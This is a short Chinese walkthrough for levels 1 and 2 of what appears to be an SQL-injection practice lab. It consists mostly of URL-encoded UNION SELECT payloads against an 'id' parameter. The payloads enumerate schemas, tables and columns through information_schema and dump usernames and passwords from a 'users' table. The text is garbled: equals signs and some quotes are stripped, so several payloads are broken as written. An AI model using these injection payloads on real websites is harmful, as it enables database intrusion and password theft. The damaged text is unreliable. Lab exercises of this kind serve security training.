关卡1思路提示get传参id尝试id1正确返回用户名密码尝试ida无回显确认为字符型尝试id1--,正常回显,可自主闭合id1 order by 4-- 不可以order by 3可以确认行数只回显示2个根据id-1union select 1,2,3--确认23位置返回根据information_schema库下逐层查库查表查字段攻击代码查库?id-1union select 1,2,group_concat(schema_name) from information_schema.schemata--查表id-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schemasecurity--查字段?id-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schemasecurityand%20table_nameusers--根据字段获取数据?id-1%27%20union%20select%201,password,username%20from%20users%20where%20id3--查所有密码?id-1%27union%20select%201,2,group_concat(password)%20from%20users--关卡2思路提示get传参id尝试id1正确返回用户名密码尝试ida无此列确认为数字型尝试id1--,正常回显,可自主闭合id1 order by 4-- 不可以order by 3可以确认行数只回显示2个根据id-1union select 1,2,3--确认23位置返回根据information_schema库下逐层查库查表查字段攻击代码查库-1%20union select 1,2,group_concat(schema_name) from information_schema.schemata--查表id-1%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schemasecurity--查字段?id-1%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schemasecurityand%20table_nameusers--根据字段获取数据?id-1%20union%20select%201,password,username%20from%20users%20where%20id3--查所有密码?id-1%20union%20select%201,2,group_concat(password)%20from%20users--